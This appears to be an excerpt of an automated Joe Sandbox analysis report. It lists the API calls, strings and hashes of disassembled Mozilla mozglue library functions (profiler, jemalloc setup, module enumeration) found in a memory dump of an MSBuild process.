InitializeCriticalSection.KERNEL32(6C53F770), ref: 6C4C45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4C45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4C45BB
InitOnceExecuteOnce.KERNEL32(6C53F818,6C4BF240,?,?), ref: 6C4C4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4C4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4C4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4C466D
VerSetConditionMask.NTDLL ref: 6C4C469F
VerSetConditionMask.NTDLL ref: 6C4C46AB
VerSetConditionMask.NTDLL ref: 6C4C46B2
VerSetConditionMask.NTDLL ref: 6C4C46B9
VerSetConditionMask.NTDLL ref: 6C4C46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4C46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4C46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4C46FD

Strings

l, xrefs: 6C4C4578
GSl, xrefs: 6C4C44FC
user32.dll, xrefs: 6C4C4557, 6C4C463F
NativeNtBlockSet_Write, xrefs: 6C4C46F7
WRusr.dll, xrefs: 6C4C44B5
kernel32.dll, xrefs: 6C4C44CD

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GSl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3014470336
Opcode ID: 22f08519f1e1e69348a79601e001a17f4515e5c1dbadde1ac99fc2602f52ea21
Instruction ID: c3dd20e23099d089d4e20eb9ff5c391eebf1c8c90dcf5aa50fc83cbb6f14fb26
Opcode Fuzzy Hash: 22f08519f1e1e69348a79601e001a17f4515e5c1dbadde1ac99fc2602f52ea21
Instruction Fuzzy Hash: 3F6115B4B00304AFEB20DF64CD09FA57BF8EB42349F059698E90C9B761E3B48945CB56

Function 6C4FE8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F7090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C4FB9F1,?), ref: 6C4F7107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C4FDCF5), ref: 6C4FE92D
GetCurrentThreadId.KERNEL32 ref: 6C4FEA4F
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEA5C
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEA80
GetCurrentThreadId.KERNEL32 ref: 6C4FEA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C4FDCF5), ref: 6C4FEA92
GetCurrentThreadId.KERNEL32 ref: 6C4FEB11
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C4FEB3C
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEB5B

Part of subcall function 6C4F5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4FEB71), ref: 6C4F57AB

Part of subcall function 6C4ECBE8: GetCurrentProcess.KERNEL32(?,6C4B31A7), ref: 6C4ECBF1
Part of subcall function 6C4ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4B31A7), ref: 6C4ECBFA

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C4FEBAC

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

GetCurrentThreadId.KERNEL32 ref: 6C4FEBC1
AcquireSRWLockExclusive.KERNEL32(6C53F4B8,?,?,00000000), ref: 6C4FEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C4FEBE5
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8,00000000), ref: 6C4FEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C4FEC46
CloseHandle.KERNEL32(?), ref: 6C4FEC55
free.MOZGLUE(00000000), ref: 6C4FEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C4FEA9B
[I %d/%d] profiler_start, xrefs: 6C4FEBB4

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 0162fd538c57be93e01c56838dda2536a6fd67cc0cbd641747ef0bb12ce4ff62
Instruction ID: 08e1533a21bfe5b58792b89bc9f6c7b4364956631fd85285d1413d98e63eae3c
Opcode Fuzzy Hash: 0162fd538c57be93e01c56838dda2536a6fd67cc0cbd641747ef0bb12ce4ff62
Instruction Fuzzy Hash: 34A125317006049FDB20EF18DC84F667BB5EFC6309F164169E92D87B51EB319806CBA5

Function 6C4FF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C4FF8F9

Part of subcall function 6C4C6390: GetCurrentThreadId.KERNEL32 ref: 6C4C63D0
Part of subcall function 6C4C6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C4C63DF
Part of subcall function 6C4C6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C4C640E

ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF93A
GetCurrentThreadId.KERNEL32 ref: 6C4FF98A
GetCurrentThreadId.KERNEL32 ref: 6C4FF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF716

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

Part of subcall function 6C4BB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C4BB5E0

GetCurrentThreadId.KERNEL32 ref: 6C4FF739
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF746
GetCurrentThreadId.KERNEL32 ref: 6C4FF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C53385B,00000002,?,?,?,?,?), ref: 6C4FF829
free.MOZGLUE(?,?,00000000,?), ref: 6C4FF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C4FF866
free.MOZGLUE(?), ref: 6C4FFA0C

Part of subcall function 6C4C5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4C55E1), ref: 6C4C5E8C
Part of subcall function 6C4C5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4C5E9D
Part of subcall function 6C4C5E60: GetCurrentThreadId.KERNEL32 ref: 6C4C5EAB
Part of subcall function 6C4C5E60: GetCurrentThreadId.KERNEL32 ref: 6C4C5EB8
Part of subcall function 6C4C5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4C5ECF
Part of subcall function 6C4C5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C4C5F27
Part of subcall function 6C4C5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C4C5F47
Part of subcall function 6C4C5E60: GetCurrentProcess.KERNEL32 ref: 6C4C5F53
Part of subcall function 6C4C5E60: GetCurrentThread.KERNEL32 ref: 6C4C5F5C
Part of subcall function 6C4C5E60: GetCurrentProcess.KERNEL32 ref: 6C4C5F66
Part of subcall function 6C4C5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4C5F7E

free.MOZGLUE(?), ref: 6C4FF9C5
free.MOZGLUE(?), ref: 6C4FF9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C4FF71F
" attempted to re-register as ", xrefs: 6C4FF858
Thread , xrefs: 6C4FF789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C4FF9A6

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 8084244da865058aa0e86ac8d5f0e33d918296f9a645bc0679702b5f13052286
Instruction ID: 040536ac18384b53a67f13d3b6b0a632ae70bf3e43d5d1cf645d9807158bc736
Opcode Fuzzy Hash: 8084244da865058aa0e86ac8d5f0e33d918296f9a645bc0679702b5f13052286
Instruction Fuzzy Hash: E7810671A057049FEB10EF24C880EAAB7E5EFC5308F45455DE85997751EB30A84ACBE2

Function 6C4FEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FEE60
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEE6D
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C4FEEA5
CloseHandle.KERNEL32(?), ref: 6C4FEEB4
free.MOZGLUE(00000000), ref: 6C4FEEBB
GetCurrentThreadId.KERNEL32 ref: 6C4FEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FEECF

Part of subcall function 6C4FDE60: GetCurrentThreadId.KERNEL32 ref: 6C4FDE73
Part of subcall function 6C4FDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4C4A68), ref: 6C4FDE7B
Part of subcall function 6C4FDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4C4A68), ref: 6C4FDEB8
Part of subcall function 6C4FDE60: free.MOZGLUE(00000000,?,6C4C4A68), ref: 6C4FDEFE
Part of subcall function 6C4FDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C4FDF38

Part of subcall function 6C4ECBE8: GetCurrentProcess.KERNEL32(?,6C4B31A7), ref: 6C4ECBF1
Part of subcall function 6C4ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4B31A7), ref: 6C4ECBFA

GetCurrentThreadId.KERNEL32 ref: 6C4FEF1E
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEF2B
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEF59
GetCurrentThreadId.KERNEL32 ref: 6C4FEFB0
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEFBD
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FEFE1
GetCurrentThreadId.KERNEL32 ref: 6C4FEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF000

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C4FF02F

Part of subcall function 6C4FF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4FF09B
Part of subcall function 6C4FF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C4FF0AC
Part of subcall function 6C4FF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C4FF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C4FF008
[I %d/%d] profiler_stop, xrefs: 6C4FEED7

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 7d44c68b26b6dddd13115020bbfeb2cccb83fb26500bcc51f11c29bd5ff2f491
Instruction ID: bd0c4c5d75d07eabb1f348936bc727a12efebb76e030b2dc837b01791f747c58
Opcode Fuzzy Hash: 7d44c68b26b6dddd13115020bbfeb2cccb83fb26500bcc51f11c29bd5ff2f491
Instruction Fuzzy Hash: C651F9316046109FDB20EB68DC48F957BB4EB8631AF120699F92D83B81F7714806C7FA

Function 6C4ED010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C53E804), ref: 6C4ED047
GetSystemInfo.KERNEL32(?), ref: 6C4ED093
__Init_thread_footer.LIBCMT ref: 6C4ED0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C53E810,00000040), ref: 6C4ED0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C53E7B8,00001388), ref: 6C4ED147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C53E744,00001388), ref: 6C4ED162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C53E784,00001388), ref: 6C4ED18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C53E7DC,00001388), ref: 6C4ED1B1

Strings

MALLOC_OPTIONS, xrefs: 6C4ED0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4ED322
MOZ_CRASH(), xrefs: 6C4ED277
<jemalloc>, xrefs: 6C4ED268, 6C4ED311
Compile-time page size does not divide the runtime one., xrefs: 6C4ED26D

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: be4fbc872324c1f2d07bbd02af608e4767e23a744b8dc875ccc123662d5c00d9
Instruction ID: 7debece572d2e6e60362a1d3e365e2559cdf0e86b7e507288e253446e52aa8cb
Opcode Fuzzy Hash: be4fbc872324c1f2d07bbd02af608e4767e23a744b8dc875ccc123662d5c00d9
Instruction Fuzzy Hash: B8810770B002509BEB24DF68CD58FA977F4EB8A30AF160529E90997B80F7B59C05CBD5

Function 6C4C7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4C8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4C801D

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4C802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4C803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4C808D

Part of subcall function 6C4CCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4CCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4C809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4C80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4C80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4C80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4C80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4C810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4C8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4C8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4C8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4C817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4C8199

Strings

0>Ol, xrefs: 6C4C811E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ol
API String ID: 2721933968-3430912414
Opcode ID: 1f4aa8cc8b3117b0a93e00c11bbc61bf70812b23a04c9de22e969c36569097f3
Instruction ID: cb49dab6ee24575507c511480a8df2226007cfdba5f7248fe6f9e640cf7d9b46
Opcode Fuzzy Hash: 1f4aa8cc8b3117b0a93e00c11bbc61bf70812b23a04c9de22e969c36569097f3
Instruction Fuzzy Hash: 345175B5E001149BDB00DBA5DC84E9FB7F9EF89224F150129E815E7751EB34ED05CBA2

Function 6C4C5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4C5E9D

Part of subcall function 6C4D5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5B85
Part of subcall function 6C4D5B50: EnterCriticalSection.KERNEL32(6C53F688,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5B90
Part of subcall function 6C4D5B50: LeaveCriticalSection.KERNEL32(6C53F688,?,?,?,6C4D56EE,?,00000001), ref: 6C4D5BD8
Part of subcall function 6C4D5B50: GetTickCount64.KERNEL32 ref: 6C4D5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4C5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4C5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4C5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4C6017

Part of subcall function 6C4B4310: moz_xmalloc.MOZGLUE(00000010,?,6C4B42D2), ref: 6C4B436A
Part of subcall function 6C4B4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4B42D2), ref: 6C4B4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4C5F47
GetCurrentProcess.KERNEL32 ref: 6C4C5F53
GetCurrentThread.KERNEL32 ref: 6C4C5F5C
GetCurrentProcess.KERNEL32 ref: 6C4C5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4C5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4C5F27

Part of subcall function 6C4CCA10: mozalloc_abort.MOZGLUE(?), ref: 6C4CCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4C55E1), ref: 6C4C5E8C

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4C55E1), ref: 6C4C605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4C55E1), ref: 6C4C60CC

Strings

GeckoMain, xrefs: 6C4C5ECE, 6C4C6015

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 9e2d89a0e12b032b7e9ca154a097d2212d25bfb4602e57cb5dc0274d7681aa39
Instruction ID: 81c8d81eabe5430802da3cb8ebd41f86f5eeb8eacd3a0e7085756f051f4f38cc
Opcode Fuzzy Hash: 9e2d89a0e12b032b7e9ca154a097d2212d25bfb4602e57cb5dc0274d7681aa39
Instruction Fuzzy Hash: 4B719EB46047409FD714DF29D880E6ABBF0FF59304F14496DE88A8BB52E771E948CB92

Function 6C4C9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4B31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4B3217
Part of subcall function 6C4B31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4B3236
Part of subcall function 6C4B31C0: FreeLibrary.KERNEL32 ref: 6C4B324B
Part of subcall function 6C4B31C0: __Init_thread_footer.LIBCMT ref: 6C4B3260
Part of subcall function 6C4B31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4B327F
Part of subcall function 6C4B31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4B328E
